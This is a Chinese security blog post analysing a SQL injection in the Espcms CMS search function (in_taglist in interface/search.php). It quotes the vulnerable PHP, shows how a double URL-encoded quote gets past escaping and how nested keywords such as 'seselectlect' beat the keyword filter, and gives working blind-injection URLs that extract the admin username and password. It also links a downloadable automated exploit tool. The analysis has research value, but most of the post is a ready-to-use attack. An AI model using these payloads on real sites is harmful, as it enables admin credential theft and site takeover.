代码审计：Espcms 通杀 SQL注入漏洞分析附EXP+拿下

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漏洞：Espcms 通杀 SQL注入漏洞分析附EXP

漏洞作者：Seay

博客：www.cnseay.com

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漏洞在interface/search.php 文件和interface/3gwap_search.php文件in_taglist()函数都存在，一样的问题，以

interface/search.php为例说明：

function in_taglist() {
		parent::start_pagetemplate();
		include_once admin_ROOT . 'public/class_pagebotton.php';

		$page = $this->fun->accept('page', 'G');
		$page = isset($page) ? intval($page) : 1;
		$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
		$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
		$tagkey = $this->fun->inputcodetrim($tagkey);

		$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
		if (empty($tagkey)) {
			$linkURL = $_SERVER['HTTP_REFERER'];
			$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
		}
		if (!empty($tagkey)) {
			$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
		}
		$pagemax = 20;

		$pagesylte = 1;

		$templatesDIR = $this->get_templatesdir('article');

		$templatefilename = $lng . '/' . $templatesDIR . '/search';

		$db_table = db_prefix . 'document';
		$countnum = $this->db_numrows($db_table, $db_where);
		if ($countnum > 0) {

			$numpage = ceil($countnum / $pagemax);
		} else {
			$numpage = 1;
		}
		$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
		$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
		$sql = $this->htmlpage->PageSQL('pid,did', 'down');
		$rs = $this->db->query($sql);
		while ($rsList = $this->db->fetch_assoc($rs)) {

由于$tagkey变量使用了urldecode，从而可以绕过GPC，最终

$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;

$tagkey被带入SQL语句。

可以看到下面有

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

也被带入数据库查询，两条语句可以注入，可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的，而第一条SQL语句查询出来的是count(*)，即int，

更蛋疼的是只要第一条查询报错，第二条就不会执行。所以只有用第一条盲注来搞了。

漏洞测试EXP：http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527

由于espcms本身有防注入函数，在文件

public\class_function.php inputcodetrim()函数。

function inputcodetrim($str) {
		if (empty($str)) return $str;
		$str = str_replace("&amp;", "&", $str);
		$str = str_replace("&gt;", ">", $str);
		$str = str_replace("&lt;", "<", $str);
		$str = str_replace("&lt;", "<", $str);
		$str = str_ireplace("select", "", $str);
		$str = str_ireplace("join", "", $str);
		$str = str_ireplace("union", "", $str);
		$str = str_ireplace("where", "", $str);
		$str = str_ireplace("insert", "", $str);
		$str = str_ireplace("delete", "", $str);
		$str = str_ireplace("update", "", $str);
		$str = str_ireplace("like", "", $str);
		$str = str_ireplace("drop", "", $str);
		$str = str_ireplace("create", "", $str);
		$str = str_ireplace("modify", "", $str);
		$str = str_ireplace("rename", "", $str);
		$str = str_ireplace("count", "", $str);
		$str = str_ireplace("from", "", $str);
		$str = str_ireplace("group by", "", $str);
		$str = str_ireplace("concat", "", $str);
		$str = str_ireplace("alter", "", $str);
		$str = str_ireplace("ca&#115;", "cast", $str);
		$str = preg_replace("/<span[^>]+>/i", "<span>", $str);
		$str = preg_replace("/<p[^>]+>/i", "<p>", $str);
		$str = preg_replace("/<font[^>]+>/i", "<font>", $str);
		$str = preg_replace("/width=(\'|\")?[\d%]+(\'|\")?/i", "", $str);
		$str = preg_replace("/height=(\'|\")?[\d%]+(\'|\")?/i", "", $str);
		$str = preg_replace("'<style[^\f]*?(\/style>)'si", "", $str);
		return $str;
	}

只是把关键字替换为空，例如union可uunionnion绕过本身防注入，还可以无视不拦截单引号的waf。

猜解用户名长度

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码：

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

写了个Exp，下载地址：http://pan.baidu.com/share/link?shareid=449478&uk=4045637737

使用方法：espcms_exp_by_Seay.exe www.cnseay.com

即可自动爆出表前缀、用户名、跟密码。

爆出是N个0的是由于老版本没有过滤函数，你们就自己写exp玩吧